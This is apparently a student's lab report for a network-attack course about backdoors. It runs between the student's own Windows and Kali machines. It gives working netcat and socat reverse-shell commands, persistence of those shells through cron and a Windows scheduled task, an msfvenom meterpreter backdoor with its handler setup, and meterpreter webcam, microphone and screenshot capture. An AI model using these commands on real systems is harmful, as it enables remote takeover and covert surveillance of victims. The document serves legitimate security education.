zoukankan      html  css  js  c++  java
  • 20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践

    1. 实验内容

    1.1 使用netcat获取主机操作Shell,cron启动

    首先安装netcat(又名nc、ncat),Linux系统自带nc,无需安装。Windows下需自行下载。官网如下:

    http://nc110.sourceforge.net/

    http://netcat.sourceforge.net/

    官网下载速度不佳,亦可在老师的码云上下载。

    1.1.1 Windows获得Linux Shell

    使用ipconfig命令,查看Windows的ip地址为172.30.4.204

    使用ifconfig命令,查看Linux的ip地址为192.168.159.131

    定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe -l -p 8086,表示监听主机的8086号端口,此处致敬8086架构40周年。

    打开Linux终端,输入nc 172.30.4.204 8086 -e /bin/sh命令,表示连接到ip地址为172.30.4.204的主机的8086端口上,并把/bin/sh程序送给目的主机执行。

    此时,Windows已经拿到了Linux的shell,并可以随意执行命令。

    1.1.2 Linux获得Win Shell

    打开Linux终端,输入nc -l -p 8086命令。

    定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe 192.168.159.131 8086 -e cmd.exe,表示连接到ip地址为192.168.159.131的主机的8086端口上,并把cmd.exe程序送给目的主机执行

    此时,Linux已经拿到了Windows的shell,并可以随意执行命令。

    1.1.3 使用Linux定时任务cron,让Windows定时获得Linux的shell

    关于cron的学习可以参考这篇博客——Linux 定时任务crontab_014

    我们执行crontab -e命令,编辑定时任务。按照提示选择2。

    添加14 * * * * nc 172.30.4.204 8086 -e /bin/sh

    ps:代表在每小时14分的时候执行nc 172.30.4.204 8086 -e /bin/sh命令。

    执行crontab -l命令查看我们新添加的任务。

    Windows下开启监听,18:14到,这是Windows已经收到了Linux的Shell,执行date命令可以查看当前时间。

    1.2 使用socat获取主机操作Shell, 任务计划启动

    同netcat,可以在老师的码云上获得安装包。

    首先为Windows添加计划任务,在Windows管理工具中找到任务计划程序

    点击新建任务按钮

    新建触发器,将开始任务设置为工作站锁定时

    新建操作,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5101 exec:cmd.exe,pty,stderr 表示把cmd.exe绑定到端口5101,同时把cmd.exe的stderr重定向到stdout上。

    在常规选项卡中,输入名称(学号),点击确定完成任务创建。

    找到刚刚创建的20165101任务,右键点击运行,此时会弹出命令提示符表明成功运行。

    在Kali中输入socat - tcp:172.30.4.204:5101命令,可以成功得到一个cmd shell。

    1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    msfvenom命令介绍

    参数说明(options):
    
    -p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。
    
    --payload-options 攻击负荷(payload)标准参数(options)列表。
    
    -l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。
    
    -n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。
    
    -f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)
    
    --help-formats 变量格式列表
    
    -e, --encoder <encoder> 使用的编码(encoder)
    
    -a, --arch <arch> 使用的结构(architecture)
    
    --paltform <paltform> 攻击负荷的平台(platform)
    
    --help-paltform 变量平台的列表信息
    
    -s,--space <length> 产生有效负荷的最大长度
    
    --encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)
    
    -b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘x00xff’
    
    -i,--iterations <count> 对负荷进行编码的次数。
    
    -c,--add-code <path> 指定一个详细win32 shellcode文件给include
    
    -x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)
    
    -k,--keep 保留模板行为并且把负荷作为一个新的线程注入
    
    -o,--out <path> 保存攻击负荷(payload)
    
    -v,--var-name <name> 指定一个自定义变量名作为确切的输出格式
    
    --smallest 生成最小可用攻击负荷
    
    -h,--help 显示msfvenom使用信息
    

    关于msfvenom的使用实例可以看这篇博文

    首先我们应该将攻击机和靶机放置在同一个网段下,否则将无法建立连接。我们在Kali中输入leafpad /etc/network/interfaces命令。

    在文件末尾添加以下内容即可:

    auto eth0
    iface eth0 inet static
    address 172.30.4.205
    netmask 255.255.248.0
    gateway 172.30.7.254
    

    PS:IP地址,子网掩码,网关要和靶机相匹配。

    输入/etc/init.d/networking restart重启网络即可

    这里我们首先执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.205 LPORT=5101 -f exe > 20165101_backdoor.exe命令生成一个后门文件。

    我们用ncat将后门文件传送到靶机

    Windows端输入ncat.exe -l -p 8086 > 20165101_backdoor.exe命令

    在Kali中输入nc 172.30.4.204 8086 < 20165101_backdoor.exe命令

    如此可以完成程序的传送

    在Kali中输入msfconsole命令

    依次输入以下命令:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.30.4.205 //此处应为Linux的IP
    set LPORT 5101 //5101为端口号
    show options
    exploit //开启监听
    

    Windows靶机打开后门文件

    现在Kali已经可以控制Windows了,输入shell命令即可获得Windows的Shell。

    1.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    获取靶机的屏幕截图:srceenshot

    使用靶机的摄像头拍照:webcam_snap

    使用摄像头录像:webcam_stream

    录音:record_mic

    提权:getsystem,未成功。

    生成文件如下

    1.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    2. 基础问题回答

    2.1 例举你能想到的一个后门进入到你系统中的可能方式?

    1.利用浏览器漏洞,在访问挂马网站时,后门会自动下载并执行。

    2.在使用外挂、破解工具时和软件进行捆绑。

    2.2 例举你知道的后门如何启动起来(win及linux)的方式?

    1.后门程序修改注册表,以达到开机自启动的目的。

    2.与正常程序进行捆绑启动。

    3.Windows可以修改任务计划程序。

    4.Linux利用cron定时启动。

    5.后门程序修改注册表,将文件关联程序修改为自己的程序,(如:双击.txt文件时,系统错误的调用后门程序)。

    2.3 Meterpreter有哪些给你映像深刻的功能?

    1.零件化的功能组件,后门程序可以自己定制。

    2.可以打开靶机的摄像头、麦克风等设备。

    3.可以获得靶机的Shell。

    2.4 如何发现自己有系统有没有被安装后门?

    1.监控主机的端口,有没有异常打开的端口。

    2.安装杀毒软件、防火墙,监控自己的主机。

    3. 实验总结与体会

    本次实验通过实现一个简单的后门程序,让我感受到了后门程序极强的危害性。经过免杀处理,后门程序可以躲过大多数杀毒软件的查杀,如果一个人拥有一个公网IP,将后门程序安装到靶机,那么就可以进行远程控制靶机,而且这个过程可以很隐蔽,所以如何防范这类事情的发生也是值得思考的一件事情。我会利用自己的所学,防止这些事件在我自己和周围人身上发生。

  • 相关阅读:
    Web前端学习第三天·fighting_常用的一些标签(一)
    Web前端学习第七天·fighting_CSS样式的编写和使用(二)
    Web前端学习第八天·fighting_使用CSS美化文字(一)
    WPF 自定义RadioButton样式
    WPF自定义控件与样式自定义按钮(Button)
    WPF 自定义Calendar样式(日历样式,周六周日红色显示)
    WPF 自定义TextBox带水印控件,可设置圆角
    WPF 自定义CheckBox样式
    常见web UI 元素操作 及API使用
    selenium定位下拉框
  • 原文地址:https://www.cnblogs.com/lty12345678911/p/10590210.html
Copyright © 2011-2022 走看看